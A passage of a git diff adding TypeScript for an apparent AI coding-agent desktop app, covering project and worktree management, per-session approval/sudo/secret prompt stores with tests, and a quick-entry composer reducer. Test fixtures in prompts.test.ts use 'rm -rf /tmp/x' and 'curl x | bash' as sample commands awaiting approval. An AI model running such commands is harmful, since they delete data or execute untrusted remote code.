+  // Optimistic: append the folder to the cached project + reflect a primary-path
+  // change on its tree node, so the dialog closes onto an updated row. The folder
+  // -> repo seeding (and session regrouping) is backend-computed, so the
+  // background refresh fills repos in; a failure rolls the cache back.
+  if (trimmed) {
+    const folder = { path: trimmed, label: opts.label ?? null, is_primary: opts.isPrimary ?? false, added_at: 0 }
+
+    $projects.set(
+      snap.projects.map(proj => {
+        if (proj.id !== id || proj.folders?.some(f => f.path === trimmed)) {
+          return proj
+        }
+
+        const folders = opts.isPrimary
+          ? [folder, ...proj.folders.map(f => ({ ...f, is_primary: false }))]
+          : [...proj.folders, folder]
+
+        return { ...proj, folders, ...(opts.isPrimary && { primary_path: trimmed }) }
+      })
+    )
+
+    if (opts.isPrimary) {
+      $projectTree.set(snap.tree.map(node => (node.id === id ? { ...node, path: trimmed } : node)))
+    }
+  }
+
+  await persistOrRollback(snap, () =>
+    gatewayRequest('projects.add_folder', { id, path, label: opts.label, is_primary: opts.isPrimary ?? false })
+  )
+  reconcileProjects()
+}
+
+// True when the session currently open in the main pane belongs to `projectId`.
+// Used so deleting a project you have a session open from kicks you back to the
+// intro draft instead of stranding you in a now-orphaned view.
+function openSessionBelongsToProject(projectId: string, projects: ProjectInfo[]): boolean {
+  const openId = $selectedStoredSessionId.get()
+
+  if (!openId) {
+    return false
+  }
+
+  const open = $sessions.get().find(s => sessionMatchesStoredId(s, openId))
+
+  return Boolean(open && liveSessionProjectId(open, projects) === projectId)
+}
+
+// Optimistic: drop the project from the cached tree + list the instant it's
+// clicked (the entered-scope effect exits if you deleted the project you were
+// inside), reconciling from the server payload. A failed delete restores both.
+export async function deleteProject(id: string): Promise<void> {
+  const snap = snapshotProjects()
+  // Capture membership BEFORE removal — the project's folders (which determine
+  // ownership) are gone once it's dropped from the cache.
+  const kickToIntro = openSessionBelongsToProject(id, snap.projects)
+
+  $projects.set(snap.projects.filter(project => project.id !== id))
+  $projectTree.set(snap.tree.filter(node => node.id !== id))
+
+  if (snap.active === id) {
+    $activeProjectId.set(null)
+  }
+
+  // The open session's project is gone — reset to the intro draft (the session
+  // itself survives; it just falls back to Recents).
+  if (kickToIntro) {
+    requestFreshSession()
+  }
+
+  await persistOrRollback(snap, async () => {
+    applyPayload(await gatewayRequest<ProjectsPayload>('projects.delete', { id }))
+  })
+  void refreshProjectTree()
+}
+
+export async function setActiveProject(id: null | string): Promise<void> {
+  const res = await gatewayRequest<{ active_id: null | string }>('projects.set_active', { id })
+  $activeProjectId.set(res.active_id ?? null)
+}
+
+// ── Project management dialog ────────────────────────────────────────────────
+// A single dialog mounted in the sidebar reads this atom, so a project node's
+// menu can open create / rename / add-folder flows without prop threading
+// (mirrors $profileCreateRequest).
+export interface ProjectDialogState {
+  mode: 'add-folder' | 'create' | 'rename'
+  projectId?: string
+  name?: string
+}
+
+export const $projectDialog = atom<null | ProjectDialogState>(null)
+
+export function openProjectCreate(): void {
+  if ($projectsRpcAvailable.get() === false) {
+    notify({
+      kind: 'warning',
+      message: translateNow('sidebar.projects.staleBackend')
+    })
+
+    return
+  }
+
+  $projectDialog.set({ mode: 'create' })
+}
+
+export function openProjectRename(project: { id: string; name: string }): void {
+  $projectDialog.set({ mode: 'rename', name: project.name, projectId: project.id })
+}
+
+export function openProjectAddFolder(project: { id: string; name: string }): void {
+  $projectDialog.set({ mode: 'add-folder', name: project.name, projectId: project.id })
+}
+
+export function closeProjectDialog(): void {
+  $projectDialog.set(null)
+}
+
+// ── Git-driven worktrees ("Start work") ─────────────────────────────────────
+// Bumped after a `git worktree add`/`remove` so the sidebar's worktree-list
+// probe (useRepoWorktreeMap) refetches and the new/removed lane shows at once,
+// instead of waiting for the next scope change.
+export const $worktreeRefreshToken = atom(0)
+const bumpWorktrees = () => $worktreeRefreshToken.set($worktreeRefreshToken.get() + 1)
+
+// Re-run the visual `git worktree list` probe without the heavy projects.tree
+// scan. Desktop-initiated add/remove already bumps the token inline; this is for
+// OUT-OF-BAND changes the renderer can't see: the agent runs `git worktree
+// add/remove` in the terminal during a turn, or an external terminal mutates the
+// repo while the window was away. The probe is per-repo and bounded, so the
+// caller (a settled turn / window refocus) can re-sync the worktree lanes
+// cheaply, the same way a git GUI refreshes its tree on focus.
+export function refreshWorktrees(): void {
+  bumpWorktrees()
+}
+
+// Spin up a fresh worktree the lightest way (`git worktree add -b`) under the
+// repo, returning where ClawCodex should start working. Git is the source of
+// truth; the caller starts a session in the returned path.
+export async function startWorkInRepo(
+  repoPath: string,
+  options?: { name?: string; branch?: string; base?: string; existingBranch?: string }
+): Promise<null | { path: string; branch: string }> {
+  const git = desktopGit()
+
+  if (!git || !repoPath) {
+    return null
+  }
+
+  const result = await git.worktreeAdd(repoPath, options)
+  bumpWorktrees()
+
+  return { branch: result.branch, path: result.path }
+}
+
+// Branches for the composer's "convert a branch into a worktree" picker: the
+// local heads, plus the remote-tracking refs that have no local branch yet. A
+// teammate's branch is therefore reachable, and the user does not check it out
+// by hand first.
+// Empty on a remote backend or a non-repo, where the Electron probe cannot run.
+export async function listRepoBranches(repoPath: string): Promise<ClawCodexGitBranch[]> {
+  const git = desktopGit()
+
+  if (!git?.branchList || !repoPath) {
+    return []
+  }
+
+  return git.branchList(repoPath)
+}
+
+// Local + remote-tracking branches for the base-branch picker in the
+// new-worktree dialog. The remote default (origin/HEAD) is flagged so the
+// UI can preselect it. Empty on a remote backend / non-repo.
+export async function listBaseBranches(repoPath: string): Promise<ClawCodexGitBaseBranch[]> {
+  const git = desktopGit()
+
+  if (!git?.baseBranchList || !repoPath) {
+    return []
+  }
+
+  return git.baseBranchList(repoPath)
+}
+
+export async function switchBranchInRepo(repoPath: string, branch: string): Promise<void> {
+  const git = desktopGit()
+
+  if (!git || !repoPath || !branch.trim()) {
+    return
+  }
+
+  await git.branchSwitch(repoPath, branch)
+  bumpWorktrees()
+}
+
+// A composer-driven "branch off into a new worktree" hand-off. The composer
+// owns the typed draft; the chat controller owns session lifecycle. The composer
+// creates the worktree (startWorkInRepo), then fires this so the controller opens
+// a fresh session in that worktree and prefills the draft that kicked off the
+// task. A monotonic token lets a rapid second request re-fire the controller's
+// effect even if the path repeats.
+export interface StartWorkSessionRequest {
+  draft?: string
+  /** Stack the fresh session as a tab when main already holds a chat (palette/⌘O opens-from-nowhere). */
+  openTab?: boolean
+  path: string
+  token: number
+}
+
+export const $startWorkSessionRequest = atom<StartWorkSessionRequest | null>(null)
+
+// The "make a new worktree" intent, from the keyboard or a menu. One dialog is
+// mounted, in the sidebar beside ProjectDialog, and it reads this atom. This
+// mirrors $projectDialog. This atom was a monotonic token that every mounted
+// coding rail subscribed to. N composers on screen therefore gave N stacked
+// dialogs for one ⌘⇧B, and the dialog the user dismissed showed an identical
+// empty one behind it. One mount cannot double-open.
+//
+// `repoPath` is resolved when the dialog opens (see resolveWorktreeRepoPath).
+// It is not read from the rail that received the key, so the dialog always
+// targets the surface the user looks at.
+export interface WorktreeDialogState {
+  repoPath: string
+  /** The base branch selected in a "branch off from X" menu. */
+  base?: string
+}
+
+export const $worktreeDialog = atom<null | WorktreeDialogState>(null)
+
+export function closeWorktreeDialog(): void {
+  $worktreeDialog.set(null)
+}
+
+let startWorkToken = 0
+
+export function requestStartWorkSession(path: string, draft?: string, options?: { openTab?: boolean }): void {
+  const target = path.trim()
+
+  if (!target) {
+    return
+  }
+
+  startWorkToken += 1
+  $startWorkSessionRequest.set({
+    draft: draft?.trim() || undefined,
+    openTab: options?.openTab || undefined,
+    path: target,
+    token: startWorkToken
+  })
+}
+
+export async function removeWorktreePath(
+  repoPath: string,
+  worktreePath: string,
+  options?: { force?: boolean }
+): Promise<void> {
+  const git = desktopGit()
+
+  if (!git) {
+    return
+  }
+
+  await git.worktreeRemove(repoPath, worktreePath, options)
+  bumpWorktrees()
+}
+
+// Reveal a project/worktree path in the OS file manager (git-GUI standard).
+export async function revealPath(path: null | string): Promise<void> {
+  if (path) {
+    await window.clawcodexDesktop?.revealPath?.(path)
+  }
+}
+
+// Copy a path to the clipboard (git-GUI standard).
+export async function copyPath(path: null | string): Promise<void> {
+  if (path) {
+    await window.clawcodexDesktop?.writeClipboard?.(path)
+  }
+}
+
+// Pick a project folder via the remote-aware picker: a remote gateway browses
+// the backend filesystem (seeded at its default cwd) where sessions run; local
+// mode opens the native dialog. Returns the absolute path, or null if cancelled.
+export async function pickProjectFolder(): Promise<null | string> {
+  const [dir] = await selectDesktopPaths({
+    defaultPath: (await desktopDefaultCwd())?.cwd,
+    directories: true,
+    multiple: false
+  })
+
+  return dir || null
+}
+
+// ⌘O / palette "Open folder…": open a folder AS a project, upserting. A folder
+// already covered by a project (explicit or auto) just enters it; anything else
+// becomes a new project named after the folder. Either way the sidebar scopes
+// to the project and a fresh session draft lands anchored at the folder — the
+// one-keystroke version of new project → enter → new session. Like goToProject,
+// this is an open-from-nowhere: an occupied main gets a stacked tab, not stolen.
+export async function openFolderAsProject(dir?: string): Promise<void> {
+  const target = (dir ?? (await pickProjectFolder()) ?? '').trim()
+
+  if (!target) {
+    return
+  }
+
+  // Refresh first so the membership check runs against live truth — a repo
+  // cloned since the last scan should enter its auto project, not double-create.
+  await refreshProjectTree()
+
+  const existing = projectIdForCwd(target)
+
+  if (existing) {
+    setSidebarAgentsGrouped(true)
+    enterProject(existing)
+  } else {
+    const name =
+      target
+        .replace(/[/\\]+$/, '')
+        .split(/[/\\]/)
+        .pop() || target
+
+    try {
+      const created = await createProject({ name, folders: [target], primaryPath: target, use: true })
+
+      if (created) {
+        enterProject(created.id)
+      }
+    } catch (err) {
+      // Stale backend (no projects.* RPC) or a failed write: still open the
+      // folder as a plain workspace session below — the project row can wait.
+      notify({ kind: 'warning', message: err instanceof Error ? err.message : String(err) })
+    }
+  }
+
+  requestStartWorkSession(target, undefined, { openTab: true })
+}
diff --git a/ui-desktop/src/store/prompts.test.ts b/ui-desktop/src/store/prompts.test.ts
new file mode 100644
index 000000000..a761adf6f
--- /dev/null
+++ b/ui-desktop/src/store/prompts.test.ts
@@ -0,0 +1,158 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { clearClarifyRequest, setClarifyRequest } from './clarify'
+import {
+  $activeSessionAwaitingInput,
+  $approvalRequest,
+  $secretRequest,
+  $sudoRequest,
+  clearAllPrompts,
+  clearApprovalRequest,
+  clearSecretRequest,
+  clearSudoRequest,
+  setApprovalRequest,
+  setSecretRequest,
+  setSudoRequest
+} from './prompts'
+import { $activeSessionId } from './session'
+
+// Prompts are parked per-session; the exported $*Request views are scoped to the
+// active session, so each test focuses the session it's asserting on.
+beforeEach(() => {
+  $activeSessionId.set('s1')
+})
+
+afterEach(() => {
+  clearAllPrompts()
+  clearClarifyRequest()
+  $activeSessionId.set(null)
+})
+
+describe('approval prompt store', () => {
+  it('holds the active session-keyed approval request', () => {
+    setApprovalRequest({ command: 'rm -rf /tmp/x', description: 'recursive delete', sessionId: 's1' })
+
+    expect($approvalRequest.get()).toEqual({
+      command: 'rm -rf /tmp/x',
+      description: 'recursive delete',
+      sessionId: 's1'
+    })
+  })
+
+  it('parks a background session prompt out of the active view', () => {
+    setApprovalRequest({ command: 'x', description: 'd', sessionId: 's2' })
+
+    // Not visible while s1 is focused …
+    expect($approvalRequest.get()).toBeNull()
+
+    // … but surfaces once the user switches to the session that raised it.
+    $activeSessionId.set('s2')
+    expect($approvalRequest.get()?.sessionId).toBe('s2')
+  })
+
+  it('clears the active session prompt', () => {
+    setApprovalRequest({ command: 'x', description: 'd', sessionId: 's1' })
+    clearApprovalRequest('s1')
+
+    expect($approvalRequest.get()).toBeNull()
+  })
+
+  it('carries allowPermanent so the bar can hide "Always allow"', () => {
+    setApprovalRequest({
+      allowPermanent: false,
+      command: 'curl x | bash',
+      description: 'content-security',
+      sessionId: 's1'
+    })
+
+    expect($approvalRequest.get()?.allowPermanent).toBe(false)
+  })
+})
+
+describe('sudo prompt store', () => {
+  it('clears only when the request id matches the in-flight prompt', () => {
+    setSudoRequest({ requestId: 'abc', sessionId: 's1' })
+
+    // A stale clear for a different request must NOT drop the live prompt —
+    // otherwise a late response to a prior sudo ask would dismiss the current
+    // one and leave the agent blocked.
+    clearSudoRequest('s1', 'stale')
+    expect($sudoRequest.get()).toEqual({ requestId: 'abc', sessionId: 's1' })
+
+    clearSudoRequest('s1', 'abc')
+    expect($sudoRequest.get()).toBeNull()
+  })
+
+  it('clears unconditionally when no request id is given', () => {
+    setSudoRequest({ requestId: 'abc', sessionId: 's1' })
+    clearSudoRequest('s1')
+
+    expect($sudoRequest.get()).toBeNull()
+  })
+})
+
+describe('secret prompt store', () => {
+  it('carries env var and prompt, and clears on id match', () => {
+    setSecretRequest({ requestId: 'r1', envVar: 'OPENAI_API_KEY', prompt: 'Paste your key', sessionId: 's1' })
+
+    expect($secretRequest.get()).toEqual({
+      requestId: 'r1',
+      envVar: 'OPENAI_API_KEY',
+      prompt: 'Paste your key',
+      sessionId: 's1'
+    })
+
+    clearSecretRequest('s1', 'mismatch')
+    expect($secretRequest.get()).not.toBeNull()
+
+    clearSecretRequest('s1', 'r1')
+    expect($secretRequest.get()).toBeNull()
+  })
+})
+
+describe('clearAllPrompts', () => {
+  it('drops every kind for one session at once (turn end / interrupt)', () => {
+    setApprovalRequest({ command: 'x', description: 'd', sessionId: 's1' })
+    setSudoRequest({ requestId: 'abc', sessionId: 's1' })
+    setSecretRequest({ requestId: 'r1', envVar: 'E', prompt: 'p', sessionId: 's1' })
+
+    clearAllPrompts('s1')
+
+    expect($approvalRequest.get()).toBeNull()
+    expect($sudoRequest.get()).toBeNull()
+    expect($secretRequest.get()).toBeNull()
+  })
+
+  it('leaves other sessions parked prompts intact', () => {
+    setApprovalRequest({ command: 'x', description: 'd', sessionId: 's1' })
+    setApprovalRequest({ command: 'y', description: 'e', sessionId: 's2' })
+
+    clearAllPrompts('s1')
+
+    $activeSessionId.set('s2')
+    expect($approvalRequest.get()?.command).toBe('y')
+  })
+})
+
+describe('$activeSessionAwaitingInput', () => {
+  it('is true while any blocking prompt (clarify or approval/sudo/secret) is parked on the active session', () => {
+    expect($activeSessionAwaitingInput.get()).toBe(false)
+
+    setApprovalRequest({ command: 'x', description: 'd', sessionId: 's1' })
+    expect($activeSessionAwaitingInput.get()).toBe(true)
+
+    clearApprovalRequest('s1')
+    expect($activeSessionAwaitingInput.get()).toBe(false)
+
+    setClarifyRequest({ choices: null, question: 'q', requestId: 'c1', sessionId: 's1' })
+    expect($activeSessionAwaitingInput.get()).toBe(true)
+  })
+
+  it('ignores a prompt parked on a background session', () => {
+    setSudoRequest({ requestId: 'r', sessionId: 's2' })
+    expect($activeSessionAwaitingInput.get()).toBe(false)
+
+    $activeSessionId.set('s2')
+    expect($activeSessionAwaitingInput.get()).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/store/prompts.ts b/ui-desktop/src/store/prompts.ts
new file mode 100644
index 000000000..f15e4b33f
--- /dev/null
+++ b/ui-desktop/src/store/prompts.ts
@@ -0,0 +1,176 @@
+import { atom, computed, type ReadableAtom } from 'nanostores'
+
+import { $clarifyRequest, $clarifyRequests } from './clarify'
+import { $activeSessionId } from './session'
+
+// Blocking interactive prompts the gateway raises mid-turn. Each maps to a
+// `*.request` event the Python side emits while it blocks the agent thread
+// waiting for a `*.respond` RPC. Without a renderer for these, the agent
+// silently stalls until its timeout (default 5 min) and the tool is BLOCKED.
+//
+// Like clarify, every prompt is parked under the runtime session id that raised
+// it (not one shared slot), so a *background* session running concurrently can
+// raise an approval/sudo/secret prompt and have it wait — surfaced via the
+// sidebar "needs input" badge — until the user switches to that chat. The
+// exported $*Request view is scoped to the active session, so a background
+// prompt never hijacks the foreground.
+
+const keyFor = (sessionId: string | null | undefined): string => sessionId ?? ''
+
+interface KeyedPrompt {
+  sessionId: string | null
+}
+
+interface PromptStore<T extends KeyedPrompt> {
+  $active: ReadableAtom<null | T>
+  $all: ReadableAtom<Record<string, T>>
+  clear: (sessionId?: string | null, requestId?: string) => void
+  reset: () => void
+  set: (request: T) => void
+}
+
+// One per-session prompt kind: a map keyed by session, plus an active-session
+// view for the overlays. `clear` drops one session's entry (a request-id
+// mismatch is a no-op so a stale resolve can't wipe a newer prompt); with no
+// session hint it drops every entry, optionally filtered by request id.
+function keyedPromptStore<T extends KeyedPrompt>(): PromptStore<T> {
+  const $all = atom<Record<string, T>>({})
+  const idOf = (value: T): string | undefined => (value as { requestId?: string }).requestId
+
+  return {
+    $active: computed([$all, $activeSessionId], (all, activeId) => all[keyFor(activeId)] ?? null),
+    $all,
+    reset: () => $all.set({}),
+    set: request => $all.set({ ...$all.get(), [keyFor(request.sessionId)]: request }),
+    clear(sessionId, requestId) {
+      const all = $all.get()
+
+      if (sessionId !== undefined) {
+        const key = keyFor(sessionId)
+        const current = all[key]
+
+        if (current && !(requestId && idOf(current) !== requestId)) {
+          const next = { ...all }
+          delete next[key]
+          $all.set(next)
+        }
+
+        return
+      }
+
+      const next = Object.fromEntries(Object.entries(all).filter(([, v]) => requestId && idOf(v) !== requestId))
+
+      if (Object.keys(next).length !== Object.keys(all).length) {
+        $all.set(next as Record<string, T>)
+      }
+    }
+  }
+}
+
+// Approval is session-keyed on the backend (one in-flight approval per session,
+// resolved via approval.respond {choice, session_id}). It carries no request_id,
+// unlike sudo/secret which are _block()-style request/response.
+export interface ApprovalRequest extends KeyedPrompt {
+  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
+  allowPermanent?: boolean
+  choices?: string[]
+  command: string
+  description: string
+  smartDenied?: boolean
+}
+
+export interface SudoRequest extends KeyedPrompt {
+  requestId: string
+}
+
+export interface SecretRequest extends KeyedPrompt {
+  envVar: string
+  prompt: string
+  requestId: string
+}
+
+const approval = keyedPromptStore<ApprovalRequest>()
+const sudo = keyedPromptStore<SudoRequest>()
+const secret = keyedPromptStore<SecretRequest>()
+
+// Inline approval anchors, keyed by session: a tile's inline bar mounting must
+// not suppress the PRIMARY session's floating fallback (and vice versa).
+const $approvalInlineAnchors = atom<Record<string, number>>({})
+
+export const $approvalRequest = approval.$active
+export const setApprovalRequest = approval.set
+export const clearApprovalRequest = approval.clear
+
+/** The prompt request for one specific session — the tile counterpart of the
+ *  active-session `$*Request` views (same map, fixed key). */
+export const sessionApprovalRequest = (sessionId: string | null) =>
+  computed(approval.$all, all => all[keyFor(sessionId)] ?? null)
+export const sessionSudoRequest = (sessionId: string | null) =>
+  computed(sudo.$all, all => all[keyFor(sessionId)] ?? null)
+export const sessionSecretRequest = (sessionId: string | null) =>
+  computed(secret.$all, all => all[keyFor(sessionId)] ?? null)
+
+export function registerApprovalInlineAnchor(sessionId: string | null): () => void {
+  const key = keyFor(sessionId)
+
+  const bump = (delta: number) => {
+    const all = $approvalInlineAnchors.get()
+    const next = Math.max(0, (all[key] ?? 0) + delta)
+    $approvalInlineAnchors.set({ ...all, [key]: next })
+  }
+
+  bump(1)
+
+  return () => bump(-1)
+}
+
+/** True when session `sessionId` has an inline approval bar mounted, so its
+ *  floating fallback should stand down. Per-session (not global). */
+export const sessionApprovalInlineVisible = (sessionId: string | null) =>
+  computed($approvalInlineAnchors, anchors => (anchors[keyFor(sessionId)] ?? 0) > 0)
+
+export const $sudoRequest = sudo.$active
+export const setSudoRequest = sudo.set
+export const clearSudoRequest = sudo.clear
+
+export const $secretRequest = secret.$active
+export const setSecretRequest = secret.set
+export const clearSecretRequest = secret.clear
+
+// True when the active session is blocked on the user (clarify question or an
+// approval / sudo / secret prompt). Mirrors the pet's `awaitingInput` concept
+// (agent/pet/state.py): the turn is paused on you, not working — so callers can
+// suppress "thinking" indicators and the Esc-to-interrupt shortcut while you
+// decide, instead of treating the wait as an in-flight turn.
+export const $activeSessionAwaitingInput = computed(
+  [$clarifyRequest, $approvalRequest, $sudoRequest, $secretRequest],
+  (clarify, approval, sudo, secret) => Boolean(clarify || approval || sudo || secret)
+)
+
+/** Per-session `awaitingInput` — the tile composer's counterpart of
+ *  `$activeSessionAwaitingInput` (same sources, fixed session instead of the
+ *  active one). */
+export function sessionAwaitingInput(sessionId: string | null) {
+  return computed([$clarifyRequests, approval.$all, sudo.$all, secret.$all], (clarify, approvals, sudos, secrets) => {
+    const key = keyFor(sessionId)
+
+    return Boolean(clarify[key] || approvals[key] || sudos[key] || secrets[key])
+  })
+}
+
+// Drop in-flight prompts for `sessionId` (a turn ended) across all three kinds —
+// or every parked prompt when no session is given (global reset / tests).
+export function clearAllPrompts(sessionId?: string | null): void {
+  if (sessionId === undefined) {
+    approval.reset()
+    sudo.reset()
+    secret.reset()
+    $approvalInlineAnchors.set({})
+
+    return
+  }
+
+  approval.clear(sessionId)
+  sudo.clear(sessionId)
+  secret.clear(sessionId)
+}
diff --git a/ui-desktop/src/store/provider-collapse.ts b/ui-desktop/src/store/provider-collapse.ts
new file mode 100644
index 000000000..c1760a30e
--- /dev/null
+++ b/ui-desktop/src/store/provider-collapse.ts
@@ -0,0 +1,28 @@
+import { Codecs, persistentAtom } from '@/lib/persisted'
+
+const STORAGE_KEY = 'clawcodex.desktop.collapsed-providers'
+
+/** Set of provider slugs whose model groups are currently collapsed in the
+ *  model picker dropdown. Persisted to localStorage globally — this is a
+ *  presentation-layer preference, not a per-profile setting.
+ *
+ *  We deliberately do NOT prune this set when the active provider catalog
+ *  changes (e.g. profile switch, Refresh Models, API key revoked). The catalog
+ *  the picker renders is profile-scoped (`getGlobalModelOptions` routes through
+ *  `profileScoped()`), so pruning against only the active catalog would delete
+ *  a user's collapse preference every time they switch to a profile whose
+ *  configured providers don't include it — silently losing state across what
+ *  is otherwise a pure presentational toggle.
+ *
+ *  Provider slugs come from a small bounded configured set (not user input),
+ *  so dead entries in the array cost a few bytes and have no observable effect:
+ *  the render loop only visits providers present in the active `groups`, and
+ *  `collapsedProviders.includes(slug)` against an absent slug is a no-op.
+ */
+export const $collapsedProviders = persistentAtom<string[]>(STORAGE_KEY, [], Codecs.stringArray)
+
+/** Toggle a provider slug in/out of the collapsed set. */
+export function toggleCollapsedProvider(slug: string): void {
+  const current = $collapsedProviders.get()
+  $collapsedProviders.set(current.includes(slug) ? current.filter(s => s !== slug) : [...current, slug])
+}
diff --git a/ui-desktop/src/store/quick-entry.test.ts b/ui-desktop/src/store/quick-entry.test.ts
new file mode 100644
index 000000000..0657cdd5f
--- /dev/null
+++ b/ui-desktop/src/store/quick-entry.test.ts
@@ -0,0 +1,216 @@
+import { describe, expect, it } from 'vitest'
+
+import {
+  initialQuickComposerState,
+  QUICK_TARGET_CURRENT,
+  QUICK_TARGET_NEW,
+  type QuickComposerEvent,
+  quickComposerReducer,
+  type QuickComposerState,
+  type QuickEntrySubmitPayload
+} from './quick-entry'
+
+// Drive the reducer like the window does, collecting every send it asked for.
+function run(events: QuickComposerEvent[], from: QuickComposerState = initialQuickComposerState) {
+  let state = from
+  const sent: QuickEntrySubmitPayload[] = []
+
+  for (const event of events) {
+    const transition = quickComposerReducer(state, event)
+    state = transition.state
+
+    if (transition.send !== null) {
+      sent.push(transition.send)
+    }
+  }
+
+  return { sent, state }
+}
+
+// Most flows only make sense once the primary renderer has reported a live
+// gateway — this is the push the quick window receives on open.
+const connect: QuickComposerEvent = {
+  connected: true,
+  sessions: [
+    { id: 's1', title: 'Fix the build' },
+    { id: 's2', title: 'Research trip' }
+  ],
+  type: 'state'
+}
+
+describe('quickComposerReducer', () => {
+  it('starts visible, empty, DISCONNECTED, and targeting the current chat', () => {
+    expect(initialQuickComposerState).toEqual({
+      connected: false,
+      draft: '',
+      sessions: [],
+      submitting: false,
+      target: QUICK_TARGET_CURRENT,
+      visible: true
+    })
+  })
+
+  it('submit sends the trimmed draft with the target, clears it, and hides', () => {
+    const { sent, state } = run([connect, { draft: '  ship it  ', type: 'edit' }, { type: 'submit' }])
+
+    expect(sent).toEqual([{ target: QUICK_TARGET_CURRENT, text: 'ship it' }])
+    expect(state.draft).toBe('')
+    expect(state.submitting).toBe(true)
+    expect(state.visible).toBe(false)
+  })
+
+  it('an empty or whitespace-only submit sends nothing and stays open', () => {
+    const blank = run([connect, { type: 'submit' }])
+    expect(blank.sent).toEqual([])
+    expect(blank.state.visible).toBe(true)
+
+    const spaces = run([connect, { draft: '   ', type: 'edit' }, { type: 'submit' }])
+    expect(spaces.sent).toEqual([])
+    // A stray Enter must not make the window vanish out from under the user.
+    expect(spaces.state.visible).toBe(true)
+    expect(spaces.state.draft).toBe('   ')
+  })
+
+  it('submit is DISABLED while disconnected — the draft survives for the reconnect', () => {
+    const { sent, state } = run([{ draft: 'hello?', type: 'edit' }, { type: 'submit' }])
+
+    expect(sent).toEqual([])
+    expect(state.visible).toBe(true)
+    expect(state.draft).toBe('hello?')
+
+    // The gateway comes back: the same draft now sends.
+    const after = run([connect, { type: 'submit' }], state)
+    expect(after.sent).toEqual([{ target: QUICK_TARGET_CURRENT, text: 'hello?' }])
+  })
+
+  it('a disconnect push mid-composition keeps the draft but blocks the send', () => {
+    const { sent, state } = run([
+      connect,
+      { draft: 'almost done', type: 'edit' },
+      { connected: false, sessions: [], type: 'state' },
+      { type: 'submit' }
+    ])
+
+    expect(sent).toEqual([])
+    expect(state.connected).toBe(false)
+    expect(state.draft).toBe('almost done')
+  })
+
+  it('a second submit while already submitting cannot double-send', () => {
+    const { sent, state } = run([connect, { draft: 'hello', type: 'edit' }, { type: 'submit' }, { type: 'submit' }])
+
+    expect(sent).toEqual([{ target: QUICK_TARGET_CURRENT, text: 'hello' }])
+    expect(state.submitting).toBe(true)
+  })
+
+  it('a picked session target rides the submit payload', () => {
+    const { sent } = run([
+      connect,
+      { target: 's2', type: 'target' },
+      { draft: 'send this there', type: 'edit' },
+      { type: 'submit' }
+    ])
+
+    expect(sent).toEqual([{ target: 's2', text: 'send this there' }])
+  })
+
+  it('the new-session target rides the submit payload', () => {
+    const { sent } = run([
+      connect,
+      { target: QUICK_TARGET_NEW, type: 'target' },
+      { draft: 'fresh start', type: 'edit' },
+      { type: 'submit' }
+    ])
+
+    expect(sent).toEqual([{ target: QUICK_TARGET_NEW, text: 'fresh start' }])
+  })
+
+  it('a picked session that vanishes from the pushed list falls back to current', () => {
+    const { state } = run([
+      connect,
+      { target: 's2', type: 'target' },
+      { connected: true, sessions: [{ id: 's1', title: 'Fix the build' }], type: 'state' }
+    ])
+
+    expect(state.target).toBe(QUICK_TARGET_CURRENT)
+  })
+
+  it('a state push that still contains the picked session keeps it', () => {
+    const { state } = run([connect, { target: 's1', type: 'target' }, connect])
+
+    expect(state.target).toBe('s1')
+  })
+
+  it('Escape dismisses without sending, discards the draft, and resets the target', () => {
+    const { sent, state } = run([
+      connect,
+      { target: 's1', type: 'target' },
+      { draft: 'never mind', type: 'edit' },
+      { type: 'dismiss' }
+    ])
+
+    expect(sent).toEqual([])
+    expect(state.draft).toBe('')
+    expect(state.target).toBe(QUICK_TARGET_CURRENT)
+    expect(state.visible).toBe(false)
+  })
+
+  it('blur dismisses without sending', () => {
+    const { sent, state } = run([connect, { draft: 'clicked away', type: 'edit' }, { type: 'blur' }])
+
+    expect(sent).toEqual([])
+    expect(state.visible).toBe(false)
+    expect(state.draft).toBe('')
+  })
+
+  it('the blur that follows a submit does not re-send or resurrect the draft', () => {
+    const { sent, state } = run([connect, { draft: 'go', type: 'edit' }, { type: 'submit' }, { type: 'blur' }])
+
+    expect(sent).toEqual([{ target: QUICK_TARGET_CURRENT, text: 'go' }])
+    expect(state.draft).toBe('')
+    expect(state.submitting).toBe(false)
+    expect(state.visible).toBe(false)
+  })
+
+  it('being re-summoned resets the capture surface but KEEPS the pushed gateway truth', () => {
+    const afterSubmit = run([connect, { draft: 'first', type: 'edit' }, { type: 'submit' }]).state
+    const { sent, state } = run([{ type: 'shown' }], afterSubmit)
+
+    expect(sent).toEqual([])
+    expect(state.draft).toBe('')
+    expect(state.target).toBe(QUICK_TARGET_CURRENT)
+    expect(state.visible).toBe(true)
+    // The gateway did not disconnect just because the window was re-opened.
+    expect(state.connected).toBe(true)
+    expect(state.sessions).toHaveLength(2)
+  })
+
+  it('re-summoning after a dismiss never carries the old draft back', () => {
+    const dismissed = run([connect, { draft: 'stale text', type: 'edit' }, { type: 'dismiss' }]).state
+    const reopened = quickComposerReducer(dismissed, { type: 'shown' }).state
+
+    expect(reopened.draft).toBe('')
+    expect(reopened.visible).toBe(true)
+  })
+
+  it('editing keeps the window open and never sends', () => {
+    const { sent, state } = run([
+      connect,
+      { draft: 'a', type: 'edit' },
+      { draft: 'ab', type: 'edit' },
+      { draft: 'abc', type: 'edit' }
+    ])
+
+    expect(sent).toEqual([])
+    expect(state.draft).toBe('abc')
+    expect(state.visible).toBe(true)
+  })
+
+  it('a full summon → type → submit → summon cycle sends exactly once per round', () => {
+    const first = run([connect, { draft: 'one', type: 'edit' }, { type: 'submit' }])
+    const second = run([{ type: 'shown' }, { draft: 'two', type: 'edit' }, { type: 'submit' }], first.state)
+
+    expect(first.sent).toEqual([{ target: QUICK_TARGET_CURRENT, text: 'one' }])
+    expect(second.sent).toEqual([{ target: QUICK_TARGET_CURRENT, text: 'two' }])
+  })
+})
diff --git a/ui-desktop/src/store/quick-entry.ts b/ui-desktop/src/store/quick-entry.ts
new file mode 100644
index 000000000..314c4922c
--- /dev/null
+++ b/ui-desktop/src/store/quick-entry.ts
@@ -0,0 +1,310 @@
+/**
+ * Quick Entry (renderer side) — the mini composer's own state, and the
+ * primary window's bridge back into the real prompt-submit path.
+ *
+ * The quick window carries NO gateway connection: it hands its text to the main
+ * process, which forwards it to the primary renderer, which sends it through the
+ * SAME `submitText` the normal composer uses (see
+ * app/contrib/hooks/use-quick-entry-bridge). There is no second submit path and
+ * no new gateway RPC.
+ *
+ * The device-local preference (enabled + shortcut) is authoritative in the MAIN
